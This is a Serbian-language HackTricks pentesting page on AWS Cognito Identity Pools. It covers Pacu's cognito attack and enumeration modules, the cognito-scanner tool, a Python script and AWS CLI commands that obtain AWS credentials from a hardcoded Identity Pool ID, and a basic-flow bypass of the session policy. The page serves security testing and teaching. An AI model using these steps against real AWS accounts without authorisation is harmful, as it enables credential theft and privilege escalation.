Cognito Identity Pools

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Identity pool-ovi imaju ključnu ulogu omogućavanjem vašim korisnicima da dobiju privremene akreditive. Ovi akreditive su neophodni za pristup različitim AWS uslugama, uključujući, ali ne ograničavajući se na Amazon S3 i DynamoDB. Značajna karakteristika identity pool-ova je podrška kako za anonimne gost korisnike, tako i za razne provajdere identiteta za autentifikaciju korisnika. Podržani provajderi identiteta uključuju:

  • Amazon Cognito korisničke pool-ove

  • Opcije za prijavu putem društvenih mreža kao što su Facebook, Google, Login with Amazon i Sign in with Apple

  • Provajdere koji su u skladu sa OpenID Connect (OIDC) standardom

  • SAML (Security Assertion Markup Language) provajdere identiteta

  • Identitete autentifikovane od strane razvojnog tima

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Da biste generisali sesije identifikacionog bazena, prvo morate generisati ID identiteta. Ovaj ID identiteta je identifikacija sesije tog korisnika. Ove identifikacije mogu imati do 20 skupova podataka koji mogu skladištiti do 1MB parova ključ-vrednost.

Ovo je korisno za čuvanje informacija o korisniku (koji će uvek koristiti isti ID identiteta).

Osim toga, usluga cognito-sync je usluga koja omogućava upravljanje i sinhronizaciju ovih informacija (u skupovima podataka, slanje informacija u tokove i SNS poruke...).

Alati za pentestiranje

  • Pacu, AWS okvir za eksploataciju, sada uključuje module "cognito__enum" i "cognito__attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute koji se koriste za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu izmenjivih prilagođenih atributa, upotrebljivih akreditiva bazena identiteta, uloga koje se mogu pretpostaviti u ID tokenima, itd.

Za opis funkcija modula pogledajte deo 2 blog posta. Za uputstva za instalaciju pogledajte glavnu Pacu stranicu.

Upotreba

Primer upotrebe cognito__attack za pokušaj kreiranja korisnika i svih vektora eskalacije privilegija protiv datog bazena identiteta i klijenta bazena korisnika:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Primer upotrebe cognito__enum alata za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identifikacionih bazena, korisnika, itd. vidljivih u trenutnom AWS nalogu:

cognito__enum --all

Ovom komandom se izvršava alat cognito__enum sa opcijom --all kako bi se prikupili svi podaci o korisničkim bazenima, klijentima korisničkih bazena, identifikacionim bazenima, korisnicima, itd. koji su vidljivi u trenutnom AWS nalogu.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner je CLI alatka napisana u Pythonu koja implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identiteta baziranih na bazama podataka.

Instalacija

$ pip install cognito-scanner

Upotreba

$ cognito-scanner --help

Za više informacija posetite https://github.com/padok-team/cognito-scanner

Pristupanje IAM ulogama

Neautentifikovano

Jedino što napadač treba da zna da bi dobio AWS akreditive u Cognito aplikaciji kao neautentifikovani korisnik je Identity Pool ID, i ovaj ID mora biti hardkodiran u veb/mobilnoj aplikaciji kako bi je koristila. ID izgleda ovako: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (ne može se probiti metodom isprobavanja).

IAM Cognito neautentifikovana uloga koja je kreirana putem se podrazumevano naziva Cognito_<Identity Pool ime>Unauth_Role

Ako pronađete hardkodirani Identity Pool ID koji dozvoljava neautentifikovane korisnike, možete dobiti AWS akreditive sa:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ili možete koristiti sledeće aws cli komande:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Imajte na umu da podrazumevano neautentifikovani cognito korisnik NE MOŽE imati nikakva ovlašćenja, čak i ako su mu dodeljena putem politike. Proverite sledeći odeljak.

Unapređeni vs Osnovni tok autentifikacije

Prethodni odeljak pratio je podrazumevani unapređeni tok autentifikacije. Ovaj tok postavlja restriktivnu politiku sesije za generisanu IAM ulogu sesije. Ova politika će dozvoliti sesiji da koristi usluge sa ove liste (čak i ako je uloga imala pristup drugim uslugama).

Međutim, postoji način da se to zaobiđe, ako je Identity pool omogućio "Osnovni (Klasični) tok", korisnik će moći da dobije sesiju koristeći taj tok koji neće imati tu restriktivnu politiku sesije.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Ako dobijete ovu grešku, to je zato što osnovni tok nije omogućen (podrazumevano)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Imajući set IAM akreditacija, trebali biste proveriti koji pristup imate i pokušati povećati privilegije.

Autentifikovano

Zapamtite da će autentifikovanim korisnicima verovatno biti dodeljene različite dozvole, pa ako možete registrovati se unutar aplikacije, pokušajte to da uradite i dobijte nove akreditacije.

Takođe mogu postojati uloge dostupne za autentifikovane korisnike koji pristupaju bazenu identiteta.

Za ovo možda ćete morati imati pristup provajderu identiteta. Ako je to Cognito korisnički bazen, možda možete zloupotrebiti podrazumevano ponašanje i samostalno kreirati novog korisnika.

IAM Cognito autentifikovana uloga koja je kreirana putem podrazumevano se zove Cognito_<ime bazena identiteta>Auth_Role

U svakom slučaju, sledeći primer očekuje da ste već prijavljeni unutar Cognito korisničkog bazena koji se koristi za pristup bazenu identiteta (ne zaboravite da se mogu konfigurisati i druge vrste provajdera identiteta).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Dobijte identity_id iz prethodnog odgovora komande
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog grupa korisničkog bazena
# Koristite --custom-role-arn da biste dobili akreditacije za određenu ulogu
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Moguće je konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta s kojim se korisnik prijavljuje ili čak samo od korisnika (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istog ili različitih provajdera, može biti vredno prijaviti se i pristupiti IAM ulogama svih njih.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated